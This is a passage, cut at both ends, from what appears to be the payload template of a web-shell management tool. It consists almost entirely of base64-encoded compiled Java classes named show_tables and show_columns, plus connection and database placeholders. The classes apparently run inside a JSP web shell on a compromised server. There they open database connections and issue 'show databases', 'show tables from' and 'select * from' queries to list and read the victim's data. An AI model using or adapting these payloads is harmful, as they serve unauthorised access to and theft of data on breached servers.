ZhcjEBAAMtPnwMAM0A0QwAbABtAQADfDwtDADSANMHANQMANUAygEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAlFUlJPUjovLyABAANoZXgMAFQAVQEAEGphdmEvbGFuZy9TdHJpbmcMANYA1wwAUADYAQAEbnVsbAEAEDAxMjM0NTY3ODlBQkNERUYMANkA0AEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDADaANsMAFAA3AwA3QDeDADfAOAMAM0A4QEAASwMAOIA3AwAzwBhAQAGYmFzZTY0AQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwA4wDkDADlANABAAINCgEAAQoMAOYA5wwA6ADpBwDqDADrAOwBABMmY2hhcmFjdGVyRW5jb2Rpbmc9BwDtDADuAO8HAMEMAPAA8QcAwgwA8gDzBwDDDAD0APUHAMQMAPYA2wwA9wD4DAD5APoMAPsA+AEADnNob3cgZGF0YWJhc2VzAQABCQwAZQBmAQAQamF2YS9sYW5nL09iamVjdAEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEAE1tMamF2YS9sYW5nL1N0cmluZzsBABNqYXZhL3NxbC9Db25uZWN0aW9uAQASamF2YS9zcWwvU3RhdGVtZW50AQASamF2YS9zcWwvUmVzdWx0U2V0AQAaamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGEBAApnZXRSZXF1ZXN0AQAgKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAAtnZXRSZXNwb25zZQEAISgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEADGdldFBhcmFtZXRlcgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEADnNldENvbnRlbnRUeXBlAQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAsKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsBAAZnZXRPdXQBAB8oKUxqYXZheC9zZXJ2bGV0L2pzcC9Kc3BXcml0ZXI7AQAbamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyAQAFcHJpbnQBAAhnZXRCeXRlcwEABCgpW0IBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEAC3RvVXBwZXJDYXNlAQAGbGVuZ3RoAQADKClJAQAEKEkpVgEABmNoYXJBdAEABChJKUMBAAdpbmRleE9mAQAEKEkpSQEAHChJKUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAV3cml0ZQEADGRlY29kZUJ1ZmZlcgEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAR0cmltAQAHcmVwbGFjZQEARChMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTtMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspTGphdmEvbGFuZy9TdHJpbmc7AQAFc3BsaXQBACcoTGphdmEvbGFuZy9TdHJpbmc7KVtMamF2YS9sYW5nL1N0cmluZzsBAA9qYXZhL2xhbmcvQ2xhc3MBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAFmphdmEvc3FsL0RyaXZlck1hbmFnZXIBAA1nZXRDb25uZWN0aW9uAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9zcWwvQ29ubmVjdGlvbjsBAA9jcmVhdGVTdGF0ZW1lbnQBABYoKUxqYXZhL3NxbC9TdGF0ZW1lbnQ7AQAMZXhlY3V0ZVF1ZXJ5AQAoKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9zcWwvUmVzdWx0U2V0OwEAC2dldE1ldGFEYXRhAQAeKClMamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGE7AQAOZ2V0Q29sdW1uQ291bnQBAA1nZXRDb2x1bW5OYW1lAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQAEbmV4dAEAAygpWgEACWdldFN0cmluZwAhAEsATAAAAAIAAQBNAE4AAAABAE8ATgAAAAYAAQBQAFEAAQBSAAAAHQABAAEAAAAFKrcAAbEAAAABAFMAAAAGAAEAAAAHAAEAVABVAAEAUgAAAgoABQAJAAABHSvAAAJNLLYAA04stg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',
'var0': '#{encode}',
'var1': '#{conn}'
},
show_tables: {
_: 'yv66vgAAADIA/goATQBxBwByCgACAHMKAAIAdAgATgsAdQB2CAB3CQBMAHgIAHkIAHoJAEwAewcAfAoADAB9CAB+CwB/AIALAHUAgQsAfwCBBwCCCgASAHEIAIMKABIAhAoAEgCFCgBMAIYKAEwAhwgAiAgAiQgAigoADACLCgBMAIwKAAwAhQgAjQoAAgCOCgCPAJAHAJEIAJIKACIAhQgAkwoAJwCUBwCVCgAnAJYKACcAlwgAmAgAmQoAJwCaBwCbCgAnAJwKAC0AnQoAJwCeCgAnAJ8KABIAoAgAoQoALQCiCgAtAKMIAKQHAKUKADcAcQoANwCmCgAnAKcIAKgIAKkKACcAqgoAJwCrCgCsAK0IAK4KAK8AsAsAsQCyCwCzALQLALUAtgsAtwC4CwC3ALkLALUAugsAtQC7CAC8CAC9CgBMAL4HAG0HAL8BAAdlbmNvZGVyAQASTGphdmEvbGFuZy9TdHJpbmc7AQACY3MBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcAbQcAvwcAcgcAwAcAwQcAbQcAlQcAfAcAkQEAAkVDAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApFeGNlcHRpb25zAQAGZGVjb2RlBwCbAQAKZXhlY3V0ZVNRTAEAbyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztaKUxqYXZhL2xhbmcvU3RyaW5nOwcAwgcAwwcAxAcAxQcAxgEACnNob3dUYWJsZXMBAEooTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBAA9zaG93VGFibGVzLmphdmEMAFEAUgEAHWphdmF4L3NlcnZsZXQvanNwL1BhZ2VDb250ZXh0DADHAMgMAMkAygcAwAwAywBiAQAADABOAE8BAAdjaGFyc2V0AQAFVVRGLTgMAFAATwEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIMAFEAzAEACXRleHQvaHRtbAcAwQwAzQDMDADOAMwBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEABHZhcjAMAM8A0AwA0QDSDABkAGIMAGEAYgEABHZhcjEBAAR2YXIyAQADLT58DADPANMMAG0AbgEAA3w8LQwA1ADVBwDWDADXAMwBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAJRVJST1I6Ly8gAQADaGV4DABVAFYBABBqYXZhL2xhbmcvU3RyaW5nDADYANkMAFEA2gEABG51bGwBABAwMTIzNDU2Nzg5QUJDREVGDADbANIBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwA3ADdDABRAN4MAN8A4AwA4QDiDADPAOMBAAEsDADkAN4MANEAYgEABmJhc2U2NAEAFnN1bi9taXNjL0JBU0U2NERlY29kZXIMAOUA5gwA5wDSAQACDQoBAAEKDADoAOkMAOoA6wcA7AwA7QDuAQATJmNoYXJhY3RlckVuY29kaW5nPQcA7wwA8ADxBwDDDADyAPMHAMQMAPQA9QcAxQwA9gD3BwDGDAD4AN0MAPkA+gwA+wD8DAD9APoBABFzaG93IHRhYmxlcyBmcm9tIAEAAQkMAGYAZwEAEGphdmEvbGFuZy9PYmplY3QBABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBABNbTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9zcWwvQ29ubmVjdGlvbgEAEmphdmEvc3FsL1N0YXRlbWVudAEAEmphdmEvc3FsL1Jlc3VsdFNldAEAGmphdmEvc3FsL1Jlc3VsdFNldE1ldGFEYXRhAQAKZ2V0UmVxdWVzdAEAICgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQALZ2V0UmVzcG9uc2UBACEoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAxnZXRQYXJhbWV0ZXIBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAGZ2V0T3V0AQAfKClMamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyOwEAG2phdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcgEABXByaW50AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAt0b1VwcGVyQ2FzZQEABmxlbmd0aAEAAygpSQEABChJKVYBAAZjaGFyQXQBAAQoSSlDAQAHaW5kZXhPZgEABChJKUkBABwoSSlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFd3JpdGUBAAxkZWNvZGVCdWZmZXIBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAEdHJpbQEAB3JlcGxhY2UBAEQoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KUxqYXZhL2xhbmcvU3RyaW5nOwEABXNwbGl0AQAnKExqYXZhL2xhbmcvU3RyaW5nOylbTGphdmEvbGFuZy9TdHJpbmc7AQAPamF2YS9sYW5nL0NsYXNzAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBABZqYXZhL3NxbC9Ecml2ZXJNYW5hZ2VyAQANZ2V0Q29ubmVjdGlvbgEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL0Nvbm5lY3Rpb247AQAPY3JlYXRlU3RhdGVtZW50AQAWKClMamF2YS9zcWwvU3RhdGVtZW50OwEADGV4ZWN1dGVRdWVyeQEAKChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL1Jlc3VsdFNldDsBAAtnZXRNZXRhRGF0YQEAHigpTGphdmEvc3FsL1Jlc3VsdFNldE1ldGFEYXRhOwEADmdldENvbHVtbkNvdW50AQANZ2V0Q29sdW1uTmFtZQEAFShJKUxqYXZhL2xhbmcvU3RyaW5nOwEA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',
'var0': '#{encode}',
'var1': '#{conn}',
'var2': '#{db}'
},
show_columns: {
_: 'yv66vgAAADIBBAoAUAB0BwB1CgACAHYKAAIAdwgAUQsAeAB5CAB6CQBPAHsIAHwIAH0JAE8AfgcAfwoADACACACBCwCCAIMLAHgAhAsAggCEBwCFCgASAHQIAIYKABIAhwoAEgCICgBPAIkKAE8AiggAiwgAjAgAjQgAjgoADACPCgBPAJAKAAwAiAgAkQoAAgCSCgCTAJQHAJUIAJYKACMAiAgAlwoAKACYBwCZCgAoAJoKACgAmwgAnAgAnQoAKACeBwCfCgAoAKAKAC4AoQoAKACiCgAoAKMKABIApAgApQoALgCmCgAuAKcIAKgHAKkKADgAdAoAOACqCgAoAKsIAKwIAK0KACgArgoAKACvCgCwALEIALIKALMAtAsAtQC2CwC3ALgLALkAugsAuwC8CwC7AL0LALkAvgsAuQC/CADACADBCADCCADDCgBPAMQHAHAHAMUBAAdlbmNvZGVyAQASTGphdmEvbGFuZy9TdHJpbmc7AQACY3MBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcAcAcAxQcAdQcAxgcAxwcAcAcAmQcAfwcAlQEAAkVDAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApFeGNlcHRpb25zAQAGZGVjb2RlBwCfAQAKZXhlY3V0ZVNRTAEAbyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztaKUxqYXZhL2xhbmcvU3RyaW5nOwcAyAcAyQcAygcAywcAzAEAC3Nob3dDb2x1bW5zAQBcKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApTb3VyY2VGaWxlAQAQc2hvd0NvbHVtbnMuamF2YQwAVABVAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQMAM0AzgwAzwDQBwDGDADRAGUBAAAMAFEAUgEAB2NoYXJzZXQBAAVVVEYtOAwAUwBSAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwAVADSAQAJdGV4dC9odG1sBwDHDADTANIMANQA0gEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAEdmFyMAwA1QDWDADXANgMAGcAZQwAZABlAQAEdmFyMQEABHZhcjIBAAR2YXIzAQADLT58DADVANkMAHAAcQEAA3w8LQwA2gDbBwDcDADdANIBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAJRVJST1I6Ly8gAQADaGV4DABYAFkBABBqYXZhL2xhbmcvU3RyaW5nDADeAN8MAFQA4AEABG51bGwBABAwMTIzNDU2Nzg5QUJDREVGDADhANgBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwA4gDjDABUAOQMAOUA5gwA5wDoDADVAOkBAAEsDADqAOQMANcAZQEABmJhc2U2NAEAFnN1bi9taXNjL0JBU0U2NERlY29kZXIMAOsA7AwA7QDYAQACDQoBAAEKDADuAO8MAPAA8QcA8gwA8wD0AQATJmNoYXJhY3RlckVuY29kaW5nPQcA9QwA9gD3BwDJDAD4APkHAMoMAPoA+wcAywwA/AD9BwDMDAD+AOMMAP8BAAwBAQECDAEDAQABAAEJAQAOc2VsZWN0ICogZnJvbSABAAEuAQAKIGxpbWl0IDAsMAwAaQBqAQAQamF2YS9sYW5nL09iamVjdAEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEAE1tMamF2YS9sYW5nL1N0cmluZzsBABNqYXZhL3NxbC9Db25uZWN0aW9uAQASamF2YS9zcWwvU3RhdGVtZW50AQASamF2YS9zcWwvUmVzdWx0U2V0AQAaamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGEBAApnZXRSZXF1ZXN0AQAgKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAAtnZXRSZXNwb25zZQEAISgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEADGdldFBhcmFtZXRlcgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEADnNldENvbnRlbnRUeXBlAQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAsKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsBAAZnZXRPdXQBAB8oKUxqYXZheC9zZXJ2bGV0L2pzcC9Kc3BXcml0ZXI7AQAbamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyAQAFcHJpbnQBAAhnZXRCeXRlcwEABCgpW0IBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEAC3RvVXBwZXJDYXNlAQAGbGVuZ3RoAQADKClJAQAEKEkpVgEABmNoYXJBdAEABChJKUMBAAdpbmRleE9mAQAEKEkpSQEAHChJKUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAV3cml0ZQEADGRlY29kZUJ1ZmZlcgEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAR0cmltAQAHcmVwbGFjZQEARChMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTtMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspTGphdmEvbGFuZy9TdHJpbmc7AQAFc3BsaXQBACcoTGphdmEvbGFuZy9TdHJpbmc7KVtMamF2YS9sYW5nL1N0cmluZzsBAA9qYXZhL2xhbmcvQ2xhc3MBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAFmphdmEvc3FsL0RyaXZlck1hbmFnZXIBAA1nZXRDb25uZWN0aW9uAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9zcWwvQ29ubmVjdGlvbjsBAA9jcmVhdGVTdGF0ZW1lbnQBABYoKUxqYXZhL3NxbC9TdGF0ZW1lbnQ7AQAMZXhlY3V0ZVF1ZXJ5AQAoKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9zcWwvUmVzdWx0U2V0OwEAC2dldE1ldGFEYXRhAQAeKClMamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGE7AQAOZ2V0Q29sdW1uQ291bnQBAA1nZXRDb2x1bW5OYW1lAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQAEbmV4dAEAAygpWgEACWdldFN0cmluZwAhAE8AUAAAAAIAAQBRAFIAAAABAFMAUgAAAAYAAQBUAFUAAQBWAAAAHQABAAEAAAAFKrcAAbEAAAABAFcAAAAGAAEAAAAHAAEAWABZAAEAVgAAAl4ABgALAAABaSvAAAJNLLYAA04stgAEOgQqLRIFuQAGAgDGAA4tEgW5AAYCAKcABRIHtQAIKi0SCbkABgIAxgAOLRIJuQAGAgCnAAUSCrUAC7sADFkSB7cADToFuwAMWRIHtwANOgYZBBIOuQAPAgAtKrQAC7kAEAIAGQQqtAALuQARAgAqKrsAElm3ABMtEhS5AAYCALYAFRIHtgAVtgAWtgAXtgAYOgcqKrsAElm3ABMtEhm5AAYCALYAFRIHtgAVtgAWtgAXtgAYOggqKrsAElm3ABMtEhq5AAYCALYAFRIHtgAVtgAWtgAXtgAYOgkqKrsAElm3ABMtEhu5AAYCALYAFRIHtgAVtgAWtgAXtgAYOgoZBRIctgAdVxkGKhkHGQgZCRkKtgAetgAdVxkFGQa2AB+2AB1XGQUSILYAHVcstgAhGQW2AB+2ACKnACI6BxkGuwASWbcAExIktgAVGQe2ACW2ABW2ABa2AB1XBKwAAQBeAUUBSAAjAAIAVwAAAF4AFwAAAAwABQANAAoADgAQAA8ALAAQAEgAEQBTABIAXgAUAGcAFQBxABYAfAAXAKAAGADEABkA6AAaAQwAHAEUAB0BJgAeATEAHwE5ACABRQAjAUgAIQFKACIBZwAkAFoAAAB3AAb/ACcABQcAWwcAXAcAXQcAXgcAXwABBwBg/wABAAUHAFsHAFwHAF0HAF4HAF8AAgcAYAcAYVkHAGD/AAEABQcAWwcAXAcAXQcAXgcAXwACBwBgBwBh/wECAAcHAFsHAFwHAF0HAF4HAF8HAGIHAGIAAQcAYx4AAABkAGUAAgBWAAAAQwAEAAIAAAAeKrQACBImtgAnmQAFK7C7AChZK7YAKSq0AAu3ACqwAAAAAgBXAAAACgACAAAAJwAOACgAWgAAAAMAAQ4AZgAAAAQAAQAjAAAAZwBlAAIAVgAAAU0ABgAGAAAAySq0AAgSJrYAJ5kAlysSK6UADCsSK7YAJ5kABhIHsBIsTSu2AC1MuwAuWSu2AC8FbLcAME4SBzoEAzYFFQUrtgAvogBYuwASWbcAExkEtgAVLCsVBbYAMbYAMgd4LCsVBQRgtgAxtgAygLYAMxI0tgAVtgAWOgQtLCsVBbYAMbYAMgd4LCsVBQRgtgAxtgAygLYANYQFAqf/pS0SCrYANrAqtAAIEje2ACeZAB4BTbsAOFm3ADlOLSu2ADpNuwAoWSwSCrcAKrArsAAAAAIAVwAAAEoAEgAAACsADAAsABsALQAeAC8AIQAwACYAMQA0ADIAOAAzAEQANAB2ADUAkwAzAJkANwCgADgArAA5AK4AOgC2ADsAvAA8AMcAPgBaAAAAIgAGGwL/ABwABgcAWwcAYQcAYQcAaAcAYQEAAPoAXfgABiYAZgAAAAQAAQAjAAAAaQBqAAIAVgAAAc0AAwAQAAABHRIHOgcqLLYAGE0stgA7EjwSPbYAPhI9tgA/OggZCAMytgA7uABAV7sAElm3ABMZCAQytgAVEkG2ABUrtgAVtgAWOgkZCbgAQjoKGQq5AEMBADoLGQstuQBEAgA6DBkMuQBFAQA6DRUGmQBUBDYOFQ4ZDbkARgEAowAvGQ0